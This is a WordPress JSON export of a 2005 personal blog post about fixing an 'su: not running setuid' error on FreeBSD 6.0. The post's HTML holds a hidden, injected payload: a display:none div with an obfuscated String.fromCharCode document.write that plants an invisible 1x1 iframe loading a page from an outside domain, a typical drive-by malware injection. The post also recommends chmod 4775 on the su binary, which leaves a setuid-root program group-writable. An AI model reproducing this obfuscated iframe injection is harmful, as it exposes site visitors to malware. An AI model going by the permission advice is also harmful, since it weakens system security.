{"id":67,"date":"2005-12-19T00:07:25","date_gmt":"2005-12-18T23:07:25","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2005\/12\/19\/freebsd-60-install\/"},"modified":"2010-06-25T21:02:51","modified_gmt":"2010-06-25T20:02:51","slug":"freebsd-60-install","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2005\/12\/19\/freebsd-60-install\/","title":{"rendered":"FreeBSD"},"content":{"rendered":"<p>The whole story will follow later but for now I just want to post a quick reminder to myself about a &#8220;su&#8221; problem I just finally solved.<\/p>\n<p>After installing 6.0 when first trying to &#8220;su&#8221; I got the &#8220;Sorry&#8221; (Bad SU etc&#8230;) error so I messed around with the rights on the &#8220;su&#8221; binary (\/usr\/bin\/su). After this I got &#8220;su: not running setuid&#8221;. So I added the user-to-su to the wheel group (\/etc\/group). No sigar. Finally, another google with &#8220;su: not running setuid&#8221; lead me to <a href=\"http:\/\/www.atm.tut.fi\/list-archive\/freebsd-stable-2005\/msg00402.html\">this<\/a>: &#8220;Make sure \/usr\/sbin\/su is suid root (and \/usr isn&#8217;t mounted nosuid)&#8221;. So I mounted \/usr with explicit &#8220;suid&#8221;. Still, no succes. At last, I went back to that link and noticed the &#8220;\/usr\/sbin\/su is suid root&#8221; part&#8230; Another quick google lead me to <a href=\"http:\/\/lists.gnupg.org\/pipermail\/gnupg-users\/2002-January\/011487.html\">this<\/a>:<\/p>\n<ol>\n<li>Log in as root<\/li>\n<li>cd to the directory where the program file lives<\/li>\n<li>chown root:bin file_name<\/li>\n<li>chmod 4775 file_name  (that will do only the suid and not both suid and guid)<\/li>\n<\/ol>\n<p>And after executing this lot on the &#8220;su&#8221; binary I finally was able to &#8220;su&#8221; from my &#8220;working&#8221; user&#8230;. Geez&#8230; It&#8217;s secure but a hassle. Though, when you finally find out how it works it&#8217;s pretty rewarding.<!--more--><!--451284c644ad709eb0f561aa2d0ec7ab22010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/451284c644ad709eb0f561aa2d0ec7ab22010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The whole story will follow later but for now I just want to post a quick reminder to myself about a &#8220;su&#8221; problem I just finally solved. After installing 6.0 when first trying to &#8220;su&#8221; I got the &#8220;Sorry&#8221; (Bad SU etc&#8230;) error so I messed around with the rights on the &#8220;su&#8221; binary (\/usr\/bin\/su). &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2005\/12\/19\/freebsd-60-install\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;FreeBSD&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-67","post","type-post","status-publish","format-standard","hentry","category-software","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/67","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=67"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/67\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=67"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=67"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=67"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}